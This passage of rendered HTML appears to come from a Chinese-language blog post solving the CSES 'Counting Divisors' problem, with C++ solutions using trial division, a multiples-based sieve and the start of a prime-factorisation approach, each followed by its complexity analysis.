number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> x<span class="token punctuation">;</span>  cin <span class="token operator">>></span> x<span class="token punctuation">;</span>  cout <span class="token operator">&lt;&lt;</span> <span class="token function">divnum</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A4%87%E9%9B%9C%E5%BA%A6" tabindex="-1" id="複雜度">複雜度</h2><h3 id="%E6%99%82%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6" tabindex="-1" id="時間複雜度">時間複雜度</h3><p>跑一次<code>divnum(x)</code>需要<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><msqrt><mi>x</mi></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(\sqrt{x})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，查詢<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>次，設每次的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>⋯</mo><mtext> </mtext><mo separator="true">,</mo><msub><mi>x</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">x_1,x_2,\cdots,x_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，則總共的時間複雜度為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><msqrt><msub><mi>x</mi><mi>i</mi></msub></msqrt><mo stretchy="false">)</mo></mrow><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><msqrt><mrow><mi>max</mi><mo>⁡</mo><msub><mi>x</mi><mi>i</mi></msub></mrow></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\sum\limits_{i=1}^{n}{\Theta(\sqrt{x_i})}=O(n\sqrt{\max{x_i}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord">Θ</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7742em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.7342em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2658em;"><span></span></span></span></span></span><span class="mclose">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.2658em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7742em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mop">max</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-2.7342em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2658em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><h3 id="%E7%A9%BA%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6" tabindex="-1" id="空間複雜度">空間複雜度</h3><p>只用了常數個變數，所以空間複雜度是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span></p><h1 id="%E8%A7%A3%E6%B3%95%E4%BA%8C%EF%BC%9A%E4%BE%9D%E5%BA%8F%E6%8A%8A1~n%E7%9A%84%E5%80%8D%E6%95%B8%E7%9A%84%E5%9B%A0%E6%95%B8%E5%80%8B%E6%95%B8%E5%8A%A0%E4%B8%80" tabindex="-1">解法二：依序把1~N的倍數的因數個數加一</h1><p>來源：<a href="https://hackmd.io/@winliu/Bkp2UPMop">CSES Problem Set — Counting Divisors 題解 - HackMD</a><br>想法：維護一個陣列，Index <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>表示<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的因數個數。依以下步驟動態更新陣列內容</p><ul><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn></mrow><annotation encoding="application/x-tex">4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li></ul><p>等等，一直到</p><ul><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>N</mi></mrow><annotation encoding="application/x-tex">N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li></ul><h2 id="ac-code-1" tabindex="-1" id="AC-Code-2">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;iostream></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> N<span class="token operator">=</span><span class="token number">1e6</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">int</span> divisorCount<span class="token punctuation">[</span>N<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> n<span class="token punctuation">,</span> x<span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;</span>N<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span>i<span class="token punctuation">;</span> j <span class="token operator">&lt;</span> N<span class="token punctuation">;</span> j <span class="token operator">+=</span> i<span class="token punctuation">)</span>      divisorCount<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    cin <span class="token operator">>></span> x<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> divisorCount<span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">&lt;&lt;</span> <span class="token char">'\n'</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A4%87%E9%9B%9C%E5%BA%A6-1" tabindex="-1" id="複雜度-2">複雜度</h2><h3 id="%E6%99%82%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-1" tabindex="-1" id="時間複雜度-2">時間複雜度</h3><p>填完陣列需要</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><munderover><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><mi>N</mi></munderover><mfrac><mn>1</mn><mi>k</mi></mfrac><mo stretchy="false">)</mo><mo>=</mo><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N\sum_{k=1}^{N}{\frac{1}{k}})=\Theta(N\log{N})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.1304em;vertical-align:-1.3021em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">N</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span><span class="mclose">)</span></span></span></span></span></p><p>而查詢需要<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>≤</mo><mi>N</mi></mrow><annotation encoding="application/x-tex">n\leq N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span><br>所以總複雜度為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N\log{N})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span><span class="mclose">)</span></span></span></span></span></p><h3 id="%E7%A9%BA%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-1" tabindex="-1" id="空間複雜度-2">空間複雜度</h3><p>顯然是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span>。</p><h1 id="%E8%A7%A3%E6%B3%95%E4%B8%89%EF%BC%9A%E5%BB%BA%E8%B3%AA%E6%95%B8%E8%A1%A8%EF%BC%8C%E5%86%8D%E7%94%A8%E6%A8%99%E6%BA%96%E5%88%86%E8%A7%A3%E5%BC%8F%E6%B1%82%E5%9B%A0%E6%95%B8%E5%80%8B%E6%95%B8" tabindex="-1">解法三：建質數表，再用標準分解式求因數個數</h1><p>這個是我的解法，但很醜。我的想法是先建一個質數表，再看<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>分別被每個質數整除幾次(即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>)<br>則所求為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><munder><mo>∏</mo><mi>i</mi></munder><mo stretchy="false">(</mo><msub><mi>ν</mi><msub><mi>p</mi><mi>i</mi></msub></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\prod\limits_{i}(\nu_{p_i}(x)+1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.3277em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∏</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 